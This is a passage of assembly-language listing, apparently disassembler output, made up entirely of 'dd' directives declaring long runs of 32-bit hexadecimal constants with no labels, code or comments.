		dd 0B550EA84h, 61A105D1h, 14D2A466h, 0A152A87Fh, 3D23A7C7h
		dd 0F2FE1B81h, 0DB4991F5h, 0FBB5AF26h, 15695EC5h, 0D62229AFh
		dd 33E653BEh, 14C8D288h, 7644D595h, 0BB048990h,	8F71C6E3h
		dd 3649B6E0h, 99982971h, 7D6AD21Bh, 4F74C535h, 1FF02729h
		dd 0D6F8C3A2h, 1035F98h, 1E9C7A31h, 0FA680080h,	5EA0E031h
		dd 6FB8556Bh, 8956645Fh, 2FD7DB8Eh, 8F52BE08h, 81549FFCh
		dd 7974AE99h, 94DB8286h, 72A8B3B5h, 0ED14E6C8h,	0E01FF01Eh
		dd 1EFC5F7h, 131DEF8Dh,	436956ECh, 0C45D152Eh, 0B3152F87h
		dd 14C0B962h, 1D8E30A0h, 68A03796h, 0A41D4929h,	80925499h
		dd 9467D84Eh, 0E8C00EEh, 30C4086Eh, 0FCE287FFh,	6B676E9Eh
		dd 0EB0CB417h, 0A43C17C4h, 0C08432C8h, 6A5B41E9h, 8158BA80h
		dd 4CC69431h, 2DA5F365h, 7439699Ah, 617BC423h, 0A52AFD6Fh
		dd 2C741E41h, 45C8FC6Ah, 371412BFh, 0E94740C3h,	0DFA0B453h
		dd 0FA1F3AA1h, 9DB19484h, 2F95FFFEh, 0CDBDDED1h, 0F2890B22h
		dd 0ADD3527h, 26505695h, 0FD36AD7Dh, 2108932Ah,	0A8F145EDh
		dd 0C398FC2Ch, 7C6C9287h, 0DC23A50Bh, 7EE255B9h, 50E39472h
		dd 602B3754h, 8199DB7Ch, 0A8D35F64h, 6B0F1A07h,	31BC5129h
		dd 12A07949h, 0C49F0A4Fh, 76030807h, 536C0935h,	1536A0E1h
		dd 942BA4C6h, 6E56F37Fh, 77E12074h, 0C95CE5EAh,	422D26F9h
		dd 0F3227C1h, 6A17C6A3h, 24BB0413h, 0C2F61B5Ah,	880C2237h
		dd 4E0B5F69h, 452F5948h, 64DD90AEh, 41FD55BBh, 386B289h
		dd 0EDB3E91Fh, 3E09AB06h, 84FE8871h, 58837722h,	1560483Fh
		dd 13BF02E6h, 75ACAC84h, 65A43510h, 1412BB8h, 0EF0D0F0Fh
		dd 0EA90090Dh, 8EA38F94h, 7BC8FA3Ch, 2BA8A66Eh,	76063FF5h
		dd 52083119h, 3A46809Eh, 9EB59F2h, 0C97D4C21h, 0E00A2EA6h
		dd 39CEB890h, 147DEDCFh, 549A8EE7h, 93B73100h, 0B04C2515h
		dd 0C44FF5C3h, 0CD8F4E94h, 76CCC0F5h, 837CA94Eh, 0D68667C3h
		dd 84E8B424h, 0BF23477Eh, 67C48128h, 9C5DED76h,	305D0543h
		dd 25A159D5h, 0A3E19C48h, 0B8DF6E4Fh, 144A4919h, 42B62A83h
		dd 0EA540228h, 6F0C2F50h, 9D4D4954h, 0F1653F0Dh, 82B345B1h
		dd 0EF23FC99h, 0FF0C9DA2h, 9A22C56h, 7DE43C0Ch,	1A7AFEFBh
		dd 56E6B3E5h, 71C998FFh, 80D081CBh, 0A4B252F2h,	2F572DA6h
		dd 52A94B6Bh, 10BF8A7Bh, 0DCB9FB85h, 977C24DEh,	0EC4ADC8h
		dd 0AD367F2Dh, 0A174907Dh, 0C1092B82h, 3CB3B2D9h, 7DE939F6h
		dd 0B435A2DDh, 62FC32Dh, 2C86912Eh, 4ACF331Ah, 0DA88D2C4h
		dd 9642CE1Fh, 24BC788Ah, 0A48C9D73h, 74780F56h,	7A6D5AF3h
		dd 0B04A3F50h, 0D88BA7A6h, 0F332D3C7h, 0D3F85C69h, 0E6E82D5Fh
		dd 0A12ABD03h, 0C044E565h, 8BF2F95Dh, 315B5FA7h, 0D2BB7A1Ah
		dd 0C30D7D30h, 0C29B8718h, 0F2D96E25h, 6D099A10h, 2B1AFB79h
		dd 0E6444868h, 5659DB2Dh, 217FD20Bh, 3DA46EBDh,	0B2F6E9F0h
		dd 0A0ABB208h, 7AAAF723h
		dd 55C4BFD8h, 7D8D0D16h, 6FA5A16Dh, 3A19E38Eh, 0FF202F3h
		dd 1D2E4A8Bh, 8FF28434h, 0A9F2BFE8h, 8430DA0Dh,	6D3F510Dh
		dd 0CFB921E6h, 463B20B2h, 0D6FBEC15h, 3AB49225h, 0F04DD126h
		dd 0AF1CBB94h, 0FF739189h, 0C5750D07h, 456F84CCh, 6BCC0208h
		dd 8753CE26h, 9D0FDA00h, 0AE05DC73h, 7A638238h,	167986E3h
		dd 0C171FE38h, 0EFAFA6D7h, 33E9BE58h, 0C4B457C5h, 0B93E6B5Eh
		dd 6104C5D4h, 0B7517B8Eh, 0CFECD35Bh, 3581E3C5h, 9883ED44h
		dd 0DA333D32h, 0DB64FA9h, 0A6A2D6DFh, 3153D12Bh, 8E4A0C6Eh
		dd 9BDC30C9h, 1C2817E3h, 0C7A0ACD8h, 24740ABCh,	96C75A4Bh
		dd 0C166A438h, 4D9129CBh, 7B26A33Bh, 4FD23FFFh,	0A36C7B25h
		dd 4E536578h, 3CDE93A7h, 0BBCE2583h, 75318C3Eh,	0CBFDE1BBh
		dd 0E9669C30h, 18CC78A9h, 0BCBACF4Ah, 6E9EDD67h, 91188B0Dh
		dd 136E8A73h, 637269C9h, 0C48F4985h, 8348B0A9h,	0CE8E5630h
		dd 4EA1CE05h, 5CA1EED3h, 352CF75Bh, 0DB8759B8h,	0AA088EC9h
		dd 32E2537h, 0BE6FD699h, 84D71D15h, 0E607F678h,	236793CCh
		dd 0B2EFD41Ch, 5BA3CDE3h, 8D09A43Ch, 241B4644h,	31F34CCBh
		dd 0BDE9502Bh, 6F81E36Fh, 534D0C3h, 3135D454h, 0EDEE56C4h
		dd 382A6126h, 0A424246Ch, 6EFA97F5h, 15F89104h,	0D79EC21Ch
		dd 7BEF65E7h, 0E944593Dh, 65ADB903h, 16FDEB8Eh,	0CEBBB70Eh
		dd 17704974h, 0C01755F9h, 0ABC4F43Dh, 94DB18D1h, 498EA030h
		dd 9A54E048h, 4AB49A08h, 0D22A6ED5h, 0EABD647Dh, 3FFC2F06h
		dd 0AD0928C7h, 17E43669h, 4E0A7AA6h, 762EDB37h,	9684A63Bh
		dd 92A38164h, 0A795AFB4h, 73682735h, 2E805AD6h,	2D47EDEBh
		dd 0F4C58927h, 6E19420Bh, 142AC11Fh, 528ECC7Dh,	872ED20Fh
		dd 2CC618F5h, 48F3B40Ah, 25591401h, 158E9EA0h, 8ECF2E05h
		dd 421EC9DBh, 1A116B21h, 0CAFD0D29h, 5758FAF2h,	5F235947h
		dd 692C7361h, 9DA92F03h, 8FB4DDEBh, 6094CC05h, 6EC893FFh
		dd 0CE5D8C18h, 6A18A0A0h, 6941684Bh, 0CD98CCBCh, 0CEA1B02Ch
		dd 0E1C59C03h, 837FE080h, 0EBA0AEAEh, 9D85B4BAh, 0CCDB38CCh
		dd 4457FC9Fh, 0B0332E91h, 8D26DC4h, 20B4E6BEh, 0E9064368h
		dd 4DB6DE0h, 71334E8Dh,	86DECC3Dh, 0E0BD13C7h, 59CE1A11h
		dd 591DD31Ah, 90FF5FD4h, 28DC203Bh, 0D1C36FC5h,	0AC1476AEh
		dd 482035E0h, 0DAB718E1h, 1B9F7E38h, 0B81A9C16h, 0FAE1BADBh
		dd 0C55C67FDh, 312A596Dh, 0FA0B2D6Bh, 576CD127h, 0EF6DF6F6h
		dd 21C3465Ah, 7434D9A1h, 52C82E31h, 1FEF48F5h, 38EC1AF2h
		dd 7CBDB9A4h, 161715C9h, 1B8A53CDh, 7B69ECC5h, 1CD3CCEEh
		dd 5C79F63Dh, 0C811ECDAh, 0F20A4426h, 7310B5C8h, 0ACD92C83h
		dd 0C7E9F12Ah, 4B1B180h, 0DBE43981h, 0E7CFEDDAh, 0D8B35159h
		dd 0FBB3EF25h, 7BE98371h, 0B71DCAE6h, 7AA72F02h, 0E4186586h
		dd 0FE8D3EEAh, 27FEDE99h, 406924EEh, 0EEB947Dh,	0D83C268Ah
		dd 97285188h, 0A32A50E4h, 4411A966h, 0A4F06088h, 9FD0B58Dh
		dd 0B04F3320h, 0F543B0F3h, 6AC198AEh, 0B43A9748h, 0B9BCEC31h
		dd 33E35593h, 77707F93h, 0D282FE3Bh, 0C39603FDh, 5A83A6C8h
		dd 0CA73DC88h, 0D837FD6Bh, 0E7124369h, 54D291EBh, 0FD9F8575h
		dd 0D0214776h, 38A49CDEh, 7ED984F3h, 377200F5h,	6EC17D08h
		dd 766760C5h, 0BE4F4D6Ch, 889812C4h, 240C0E60h,	426A6E6Fh
		dd 8D2E89D9h, 0E653F91Ah, 8EEC9E6h, 40D8A91Bh, 256B9CC3h
		dd 18CDAC7Eh, 0CD12D375h, 0EB5B1A6Ah, 99389239h, 63D3899Ah
		dd 0B5FFD45Fh, 0B364E314h, 0D1E7750Dh, 8EFFEA9Eh, 30FCB6B9h
		dd 0C6461EAAh, 2E8B1D53h, 9E37E56Ch, 0B7A2454Bh, 567192D6h
		dd 0E1E689F6h, 0BC16EB59h, 6E40C0C6h, 0DB56137Dh, 2A08D83Bh
		dd 51C073CCh, 2D55681Dh, 0FFCE99B2h, 253D419h, 885B175Dh
		dd 0A7294041h, 6F79900Fh, 0CC87C334h, 2C0EB40Ah, 50484E6h
		dd 8EEAC609h, 34577BABh, 0DDBA706h, 0FA006EB1h,	15000A35h
		dd 0FEDA2C2h, 0D4A2FF9h, 0C280A259h, 0A88E1AFCh, 6AAC14B9h
		dd 69DDD0F5h, 9ADE5302h, 0A67AC3E2h, 8822158Ah,	82DB8A30h
		dd 23E98A1Ah, 936E4D9Ah, 5DA9BE6Ch, 88BCC6E3h, 0D229720Fh
		dd 3A78520h, 43AC8BCFh,	5B08332Bh, 0D7EFB5A5h, 65337190h
		dd 2CF57628h, 8F77F4B4h, 0D7E3495Dh, 2E860660h,	0F020468Ch
		dd 0DD195DE7h, 4E5DC6F8h, 28DBF044h, 6546EA47h,	431FFD10h
		dd 91116055h, 0C4A4FC5Ch, 8D9F077Ah, 304354A5h,	0C933A4C8h
		dd 4BB96184h, 0D2B1113Fh, 8A185195h, 5D7CE893h,	22F8E1D6h
		dd 0D996D5F0h, 56CFD63Eh, 0DAB2362Ah, 76D89CB3h, 51E79F9Ah
		dd 313E6F0Ah, 36E2AA0Eh, 347055E5h, 6A59FA19h, 976A016Dh
		dd 0F92600B0h, 63EE9C5Fh, 12D48954h, 0A48F4772h, 11D5BF9Dh
		dd 55C017D0h, 0D66AE770h, 386D3B91h, 0C3E5CE6h,	7A9C7095h
		dd 0E450AC6Bh, 0E6DD1D33h, 9667F52Eh, 49E41AF4h, 0ED0EBC47h
		dd 62F492BFh, 10FCA45Ch, 993CEAB5h, 5B569882h, 23D4507Dh
		dd 1E97C8A7h, 6F4C98B3h, 22E651Ch, 4E676312h, 9C11B3DFh
		dd 915F9B1Bh, 4F9243D5h, 0EFD4969h, 0EFFDEA03h,	0E6FBD131h
		dd 544C789h, 0D3E857ADh, 9B4B973h, 0BF3450E9h, 37F90601h
		dd 0D5DB012Ch, 0C4094BB1h, 17C63E87h, 38BE7A69h, 4D948BADh
		dd 3E49FCFAh, 6A58D3D4h, 52D1FD37h, 0C18EFDD9h,	0A62B809h
		dd 0E05CB568h, 30752530h, 0A56F502Dh, 83E0E93Ah, 0F216CBBBh
		dd 0D7D2C574h, 0C99F9889h, 0B650E2F2h, 0BB7E4F97h, 0ADA211ACh
		dd 10C3C2AAh, 0AE70AC7Fh, 8F297227h, 0A3F1852h,	2E83F27h
		dd 0ECD0766Dh, 0C1801BD8h, 888DF106h, 78E8F14Bh, 0CE175852h
		dd 0BD88A382h, 5DACA308h, 669A6F86h, 5A2B85CEh,	3CD72817h
		dd 36AC9D98h, 712E114Ah, 7FB721BEh, 3BD34F5Eh, 98BDA9C6h
		dd 4D219F30h, 213A602Eh, 0A65B3537h, 0C306B632h, 846006BFh
		dd 0EDC423F2h, 8DAE5E12h, 0AC737DF5h, 0D8BC4EAEh, 0C56E2EAh
		dd 0AE4B4AD5h, 1906353Ch, 0C26BAA6Ah, 15C55C4Dh, 6ACD805Dh
		dd 0FE1D9761h, 0AB09A9FEh, 9AA4597Eh, 0FDCB3579h, 58961767h
		dd 0A41AFD4Eh, 3DD1EA3h, 0B654D2B4h, 0BF54116Eh, 9A563823h
		dd 112EA417h, 0B551370Ch, 60E4B569h, 8DCD0606h,	0FD5249CCh
		dd 0C77411B9h, 8CEE22C3h, 0F3420EE9h, 0B5FEBEB8h, 2325E89Dh
		dd 17855743h, 0B5EB9BECh, 48218C14h, 312027C3h,	3D7721B4h
		dd 0A2828C93h, 867435E9h, 2C7C25C8h, 0D9FC69B0h, 0E80425Fh
		dd 514B5447h, 79BA3DD6h, 5514F276h, 0CA359E3Fh,	707E9AE1h
		dd 468CFF21h, 17AB895Dh, 0AEBB15F2h, 7BBB355Dh,	0DF5819FAh
		dd 0EDEE0C14h, 5727343Dh, 7E60C5Dh, 9D816817h, 7059E9Bh
		dd 68B86018h, 492E7119h, 339F3275h, 0A0BAF28h, 4A56EF03h
		dd 0FF4DDE14h, 0C25B7374h, 0D34F968Eh, 449F9AA0h, 2FA7F10Dh
		dd 16BFB8F1h, 1A03BB69h, 9A305E48h, 71DE3E12h, 0DCD384E8h
		dd 3686186Dh, 0CB278F39h, 5C4A9B9Bh, 72D6E7B1h,	468AFC61h
		dd 0F629EFFh, 0C977FEC5h, 0A28D299Ah, 0AAAF336h, 0F1A0D72Ah
		dd 36EA2C43h, 0AF4D9527h, 3997CC92h, 0A4B747E5h, 0BB5F1FC2h
		dd 20422DB4h, 65521840h, 0D12CB0E1h, 0E9EA62C7h, 2D01D8A6h
		dd 0EB30860Ah, 0FC9C0B53h, 9518BE30h, 7BE7E72Ch, 0DC96EB90h
		dd 48C13BA5h, 9EF53393h, 0A1696329h, 0B371B036h, 8CEA83F4h
		dd 0FD8E7FF0h, 94DD55B9h, 41BA7039h, 0B23B309Bh, 0FCDE54B4h
		dd 6FD70AF7h, 0E4DAD4Eh, 0AD1EA586h, 2362D34h, 0FB6C2E42h
		dd 0F8FCD8ACh, 0D7D2C0DBh
		dd 0FD86F95Fh, 7A89E306h, 1C50EF69h, 0A77392FEh, 99F5726Bh
		dd 0DB243D75h, 9297B53h, 9C600839h, 82D8DB38h, 0B0229884h
		dd 18329DF3h, 8F1E2AE6h, 2EE9646h, 886ADC78h, 7E6E7255h
		dd 0F7E48258h, 0B0FEC804h, 64072855h, 0ACD0C709h, 0C5C9697Dh
		dd 7B32332h, 6F6CC2CDh,	23A7C464h, 0EAE7BE7Fh, 2B6A019Ch
		dd 60692C68h, 0DD7E16F0h, 745839C1h, 96BD9FE8h,	8B4E176Bh
		dd 702D5B83h, 75918E7Eh, 67684B50h, 0AB090F7Eh,	2AFCE3FEh
		dd 0BF5561E7h, 8C050692h, 0A65190CCh, 4998F03Bh, 45A77CC6h
		dd 0E73215BBh, 8D8D5630h, 0FFC677D5h, 3A5BA24Eh, 7BD11610h
		dd 0F672DCE0h, 3FED9022h, 7CEFB6ECh, 0EDB67754h, 0D027703h
		dd 3DB131BEh, 8CBE8638h, 3AD4E0E9h, 0F6F9DD06h,	0DD989FC3h
		dd 7A0F9CC2h, 8B26334Fh, 0A6362EAEh, 1E1BB84Fh,	0A567A0A9h
		dd 0C7224086h, 0C9CFF2EEh, 0B71E59CAh, 0CB7B7029h, 8642488Ah
		dd 30743DBEh, 0A8B63085h, 0B059154Bh, 3EEBCBEh,	0DF6112C0h
		dd 0A1C1FA8Fh, 0EF6685F5h, 23C3F5D0h, 255B118Bh, 0F739DE29h
		dd 7776A105h, 9508EF19h, 318A8669h, 71BCB524h, 0AE8AC362h
		dd 0F131C6DCh, 0D94D0868h, 0A9F46CEh, 49E6785Eh, 0DD5B9BECh
		dd 2DB2EBCDh, 0DF2FAA7Ah, 7E421380h, 732A77Dh, 0C2F1B4EAh
		dd 68C636AFh, 0BC7B0B4Ch, 70F1FDC9h, 9010424h, 7098FB09h
		dd 0E83677D7h, 78786D23h, 67534F6Ch, 4E3D1C0Eh,	46428BC0h
		dd 55AC31A6h, 0CF8A0718h, 0EBBADAD8h, 635BD90Eh, 5DD9B104h
		dd 555E2CCBh, 3CD62F16h, 1C9016Ch, 0D97DDF3Fh, 0D051D7C4h
		dd 5BB43A23h, 0CFC24515h, 17E73D6Bh, 5A15EABAh,	0B53E2D03h
		dd 436803D7h, 0C2978BC8h, 0FCEF9953h, 94DDBC4Fh, 9236A918h
		dd 0E066BFC1h, 7ACC7BAFh, 0E9300D6Ah, 0F8D65502h, 6EF13EEFh
		dd 0C75F0FFEh, 67E1BF69h, 4C4C3B75h, 5AEA587h, 546049C2h
		dd 20DA3400h, 539798B1h, 0C7878B13h, 0D40F350Eh, 50A95F53h
		dd 85DCEE75h, 0B9B25602h, 112BCC5Fh, 0C854CE6Bh, 0D25DDDBCh
		dd 0C92728D6h, 0D267F790h, 0D777B680h, 8EE0F082h, 93361761h
		dd 48D86725h, 5836AB3Ch, 0D8B0D6ECh, 55BB47Ch, 87CA6A7Ah
		dd 9DD3469Eh, 3A67223Ch, 3764C1BCh, 0CFDA2B24h,	9763E519h
		dd 0B5FB8FFBh, 561B0858h, 150C6D71h, 89C117C5h,	0FB6C1EC3h
		dd 0D13E92F4h, 0ABE70A00h, 790534D7h, 3E90B8B3h, 9227C8E4h
		dd 0F9495E4Ah, 62C84E37h, 0FFD7F856h, 0B6D155BDh, 3BA6D582h
		dd 2F1079E8h, 6A5408A8h, 0C5E4BA93h, 711D535Fh,	15216F40h
		dd 43751ADFh, 0F7C26AF5h, 33C49676h, 59ABFEB6h,	1FCD3EDEh
		dd 42736160h, 1C44BE3Bh, 1AE080EEh, 7CA28E2Bh, 0F665CA6Ch
		dd 0EF4FF6AFh, 1520A13Ch, 44090345h, 6EB9A5ECh,	85A4D69Fh
		dd 0D4254FF1h, 6829FE14h, 0A4947D5Fh, 9478D034h, 80529DCFh
		dd 0C112F95Ah, 200608Ch, 0F530C6D1h, 0DB8BAADh,	485D392Dh
		dd 93F3E6D6h, 947A0378h, 8856454Ch, 0E5DD9D3Ch,	618D5AFCh
		dd 7A44BE17h, 1068B7C5h, 1D0B4AFCh, 42E30E55h, 0A8537Eh
		dd 6454480Ch, 0FADDDBEAh, 34E57897h, 986FAA7Ch,	95C1415Bh
		dd 25113066h, 0A66BCB9Fh, 0DB93D2DAh, 5508578Ch, 9FFA8602h
		dd 0B5945209h, 2B3F2511h, 2DBE1434h, 3F70CEA5h,	0F0B6C1DDh
		dd 6E94904Ch, 7F73D14Bh, 9B492C50h, 59B21731h, 0B02C6259h
		dd 0F8742E1Eh, 47D8BB85h, 8D407FF0h, 0A6B28623h, 437E5048h
		dd 0B3B8AE7Fh, 19DE1389h, 0C6C42EDBh, 0AC4818BAh, 0C521AFAFh
		dd 562B20Dh, 0A6ED334Ah, 0B9C3FB22h, 0B3E337D9h, 0A0825356h
		dd 9A2504E5h, 0EC7AD266h, 7E82A920h, 0AC0B13Ch,	6B69AE07h
		dd 9B5127Eh, 0C34D05BEh, 0E0B3B6CCh, 0C292AD0h,	8BBF1554h
		dd 25ACD3DBh, 35ADE71Fh, 0F1D7B8C4h, 775EFDE9h,	33B009D0h
		dd 7527B939h, 0A94E6882h, 3DBFA3E1h, 83A36EF0h,	973D6310h
		dd 0BB716EB4h, 0F8E6606Fh, 5F150F4Eh, 0B02B1B0Fh, 0AD43B6A3h
		dd 6F461A3Eh, 1023D751h, 20DC22FAh, 5D711FD5h, 0FAF97D0Ch
		dd 0DD63D82Bh, 71D1A093h, 0C53A212Dh, 0AB2376F3h, 27BEE762h
		dd 0D4EC2AC8h, 9775378Dh, 2B22AA28h, 0B171BD2Fh, 1FEF04D4h
		dd 4FCDE462h, 0D2028D09h, 513F1C0Bh, 4B4B50D9h,	0F460B9E4h
		dd 7F6DC16Eh, 0FE6D9644h, 0B6D7B596h, 0BFF583B2h, 389FBF8h
		dd 500E7681h, 0C547D517h, 94EFAEB3h, 0D9EFF5D4h, 0CF91C8B0h
		dd 6E114F9h, 0FF1E4703h, 0B85FD4EBh, 7FE86A35h,	0E6788699h
		dd 72686893h, 6728B5F1h, 0B4E75C2Dh, 7FFDC853h,	0A9B5118Fh
		dd 0A76A6DFFh, 0F8D7979Fh, 0CFE9B92Ch, 0EEAFC995h, 5D5D9ADh
		dd 2D86E9E5h, 1B53D6CAh, 0D0FBD372h, 55E8DEF3h,	0CAC1C201h
		dd 2CC864E0h, 609FCB1Fh, 312CEA52h, 9283E13Bh, 655A5C84h
		dd 0BDF4BEE3h, 191C4C36h, 0EACE61B2h, 0E95F2D0h, 68CF470h
		dd 5A3ABEA8h, 0DA05B686h, 0E2C30AC4h, 294956C8h, 0B2C23EBCh
		dd 44F2D3DDh, 1A35DE49h, 0BA035823h, 4DB7CB09h,	7CF287C3h
		dd 22B9DB30h, 3193E41Ah, 83C35776h, 4879F931h, 0B4618F57h
		dd 6E77B130h, 2587C0A0h, 78F7AEBh, 67FD023h, 6DA63D27h
		dd 0CEB8AE95h, 4A443AAEh, 0F9D6AFDEh, 82A49ACBh, 4DD7C739h
		dd 49BBB8CDh, 0BC64AED6h, 8A8EB02Fh, 143FDB09h,	7C344CB8h
		dd 0D51A8713h, 1CB29D87h, 0CE910823h, 65B73EB0h, 317C1A05h
		dd 812388DDh, 943D1479h, 0B241353Ch, 9EDC06C0h,	0A610D668h
		dd 54836F95h, 75C7DC5Fh, 331BFAh, 0EF4F6E9Fh, 0A9BE809Dh
		dd 0D828D6C7h, 0B93DF661h, 99CBE86Eh, 80964C61h, 0E1C625E7h
		dd 0D42A493Bh, 0A15C0529h, 23B62658h, 0E92FF47Bh, 0D569461Bh
		dd 3D0D94Ah, 843D76ACh,	3F8B32BEh, 939E17Fh, 387FC3DFh
		dd 0C1A5E391h, 896DAD55h, 2976C0CAh, 0EB673DC7h, 606A33CDh
		dd 0E2310458h, 2761BE47h, 8137F585h, 0A7DBF5CCh, 0A019B162h
		dd 0EFC8A83Bh, 0E44011F3h, 6690F2A4h, 0B3D6FB47h, 99636318h
		dd 5304136h, 4DB0144Ah,	8EDE1894h, 0C1BBA6CEh, 2DE03AD8h
		dd 7C805245h, 0D1696CE6h, 8F80DBEBh, 8022F977h,	349D493h
		dd 8126AFE4h, 0C9E3742Dh, 5D462791h, 0A75140E6h, 0DF62F9D6h
		dd 69089AD6h, 2BFD1783h, 0F0A0B551h, 0CC540067h, 51760A5Eh
		dd 9217B2F7h, 0B083F425h, 0E123095Eh, 7785ABB7h, 0E818B7D0h
		dd 0A303DF82h, 6BF56541h, 0ED0F15FEh, 577399B8h, 0A9A76656h
		dd 83C28BB1h, 0B83849Ch, 0AB019992h, 4683576Ch,	0E2671ADDh
		dd 4C659B3Fh, 717D6D6Dh, 6B9BFE8Eh, 7A2D70D2h, 0E97A0617h
		dd 6B0081Fh, 0C3C0DEE8h, 32134590h, 74A3682Ch, 385757C4h
		dd 49724915h, 0EE27375Fh, 74174B58h, 57D3F591h,	0BA84D75h
		dd 0CFF08847h, 87A6AE48h, 9E1FEE40h, 680AFE87h,	4FDD0ABDh
		dd 92FC187Ch, 676B8C57h, 0F5C680C1h, 0A7F76CEAh, 0C0BE20EAh
		dd 320CA010h, 0D363400h, 0FDAB4B9Ah, 74924999h,	47C25D5Ch
		dd 0E762A300h, 4E9B836Eh, 2D0ABBA0h, 2C4E4B90h,	0F6C8BE7Bh
		dd 7F049DF4h, 3D009AB4h, 86F30E2Dh, 4A51EBBFh, 4F1D1527h
		dd 9B8A04B6h, 0ECFC5A06h, 0F3E8CCF3h, 0B73B196Dh, 0AE77E6FBh
		dd 414D8A30h, 0BB803422h, 0C45928ACh, 18484D3Bh, 0C1802234h
		dd 0E9D7000Ah, 0F65D3C7h, 0E45F2FD4h, 0E4C438F9h, 0FB0310Ch
		dd 8DAA9F9Ch, 0DCB4C790h, 0AD18B3EEh, 3D038F8h,	0A8C5A1h
		dd 0C87866Dh, 9A2AC441h, 82189B7Eh, 0B6900D35h,	0BEEF2D1Ch
		dd 895B548Ah, 0C54376DFh, 4A13CD84h, 0E482FA5Fh, 2BC0FB53h
		dd 85E1BEE9h, 0ABD97121h
		dd 36DED4E0h, 0A22A6DA7h, 0FBCDEDB0h, 0CE1713CDh, 0E837FE02h
		dd 161E17Bh, 0E9FAF7E1h, 905E1A29h, 0BF530077h,	6CC7048Ch
		dd 0D0444F20h, 5C397615h, 3E42D6C5h, 0D83509ADh, 0FCABB7B6h
		dd 0EA61FEE4h, 0B5654E26h, 6F1C7273h, 1814FC1Ah, 0C0AA5C42h
		dd 3618CE2Ah, 0B5DD381h, 3AA6770Eh, 57B3484Ch, 6CC80648h
		dd 504D8BE7h, 575ABF13h, 858A221Eh, 33555932h, 0B354EF7Ch
		dd 9A270FA5h, 368C502Eh, 0C03DB8ECh, 2F7A8809h,	60EF3059h
		dd 0DA96BFB4h, 5EAE891h, 0CCCD6A14h, 0DB048FA9h, 0F5CE6E1Ah
		dd 39642B42h, 0DF7D6598h, 0E5D1AD64h, 744FE033h, 436B7BDCh
		dd 0B45591D2h, 0F59F822Dh, 2C0B6F32h, 41DD2B6Fh, 12241D09h
		dd 0AF1CA60Fh, 3E400479h, 0A77A4725h, 4D22FE7Ch, 0FDC00D44h
		dd 65AF08D3h, 85975403h, 89F7F58Fh, 3C767674h, 0E3BF9BA7h
		dd 2F34715Ch, 3ABD8C6Eh, 2F184C35h, 8EA6397Eh, 5ED73AD6h
		dd 8E4DD92Eh, 84EE377Eh, 0E36D2C3Bh, 0BF70C722h, 8F3D90C4h
		dd 0A24B6047h, 41788D19h, 0A2979EF2h, 0F7DC588Fh, 79E8AA3Fh
		dd 5680FBB1h, 0DED305Ch, 7E308D7Dh, 0C54B3685h,	47B5A07Dh
		dd 387BB236h, 42537434h, 0EF396522h, 8F64E82Fh,	0A1900DB4h
		dd 0FC538C6h, 87C780ABh, 0F994F833h, 7C5404ABh,	596FD37Bh
		dd 0EB755D4Ch, 0AABACC76h, 0E7BE240Eh, 913E562h, 703DEF08h
		dd 867460EAh, 2DD44969h, 580A5E6Ah, 0C5F9151Bh,	0AF2245E2h
		dd 4218274Bh, 0C9B425ACh, 149EB324h, 6882327Eh,	0A72454C9h
		dd 0F061B048h, 2F360C44h, 0A7A0628Dh, 56974BA8h, 148034A8h
		dd 6DF568E6h, 0BEDB44D4h, 3B7402ECh, 97E4B4AAh,	52180A0Eh
		dd 0DADB801h, 0D703CAD9h, 12CC91A7h, 8BB69FDAh,	64FB1781h
		dd 0B09A4D3Ah, 2CC2B62Ch, 57F4902Fh, 0E7573792h, 0F30B18DAh
		dd 0CDD2A62Bh, 0F43792D4h, 85F6AC72h, 0FFF73EA3h, 8697A7D6h
		dd 482D877Eh, 734F3DF1h, 0F876990Dh, 79FB1C1Ch,	8C6386E9h
		dd 0C678516Ah, 39EE5300h, 0A6F008E6h, 4D95C32Ah, 55BB8C36h
		dd 0B2DE9A0Dh, 939E9741h, 0F0126715h, 2FF6BCC7h, 0A777D25Dh
		dd 0EF4749A3h, 4B279B90h, 0BA050902h, 0B14924EFh, 0F11EE5A7h
		dd 4B5AF38Ah, 0EC3553F5h, 0E67F011Fh, 0DDB4D4B0h, 5AACD54Dh
		dd 1613E7C4h, 3D7D689h,	263B57BFh, 0F49C700Eh, 0FB5885D5h
		dd 9E962A6Eh, 2DD3712Dh, 0ED3F1647h, 1403B8ADh,	804342DEh
		dd 0DA518909h, 4A806DC1h, 7105FB52h, 4279511Bh,	0D8DD35DDh
		dd 31425D3Ah, 86744BBAh, 4B0A8861h, 9485CDB3h, 9597F243h
		dd 0A175767h, 72B834E3h, 719B916Bh, 4845A62Dh, 77BAE27Ah
		dd 8A183CDh, 9896F465h,	0E8BC1F50h, 60A21946h, 1F3D8703h
		dd 81751229h, 6856A6E7h, 2889C0DAh, 6DCBE6A6h, 3B29D38Ah
		dd 1A732F3h, 47A86D3Bh,	0DB072AE6h, 0FB841C6Ch,	0EA50C74Ch
		dd 5416D340h, 94ADEF5Ah, 0FFD39BB8h, 3A7D7AFh, 0AA39DE31h
		dd 6C68E995h, 3608DFA1h, 0A2D5381h, 25AE4662h, 85958B2h
		dd 9E727144h, 26781ED2h, 0AC453DF1h, 0DF1BDD2Ch, 4AFE6193h
		dd 0E27F622Ch, 974963A1h, 0FB37644h, 7AD0CD40h,	29779A84h
		dd 3AC815A8h, 7D34E6B5h, 4777826h, 0FF4DEFC7h, 0B99E83A7h
		dd 3390BCF9h, 998BA051h, 6E18AD4Ah, 143ED3D5h, 0C219A852h
		dd 0B3DD9E1h, 2F433690h, 0AC91D782h, 3D2F80F0h,	4293EF76h
		dd 80111BA2h, 0C3F8EF9Ch, 0F7581D6Dh, 9FA7BE22h, 0B6787042h
		dd 0D6B1B89Dh, 0FEF5C352h, 0B394500Bh, 8DF162CEh, 2DF3BFA1h
		dd 28A70FB4h, 0F34460C1h, 0E6BCA330h, 0E758834Fh, 0C3FED2CDh
		dd 8C0998BCh, 0A6406E71h, 0D403ABDDh, 2B967B4Ah, 386B8919h
		dd 38339F7Fh, 0DB02171Ah, 0FFAF9CB4h, 25B03890h, 0F9DD8F7Dh
		dd 0C9A6D70h, 2CA3Bh, 2E0D279h,	640E70E1h, 4DA162B9h, 0CDABA416h
		dd 0B1B2978Dh, 55DEBA12h, 73AB3157h, 0D3970DE4h, 1031848Fh
		dd 0C60C3AC5h, 0B01B33B8h, 9887C99h, 0BDC12F40h, 1DAD35C7h
		dd 1942A3BBh, 89D646C6h, 50DE5A00h, 6E4DDAAFh, 9CFEC9CBh
		dd 0CD2B4DBEh, 9AAE781Ah, 543E1E22h, 0E621D168h, 633399BEh
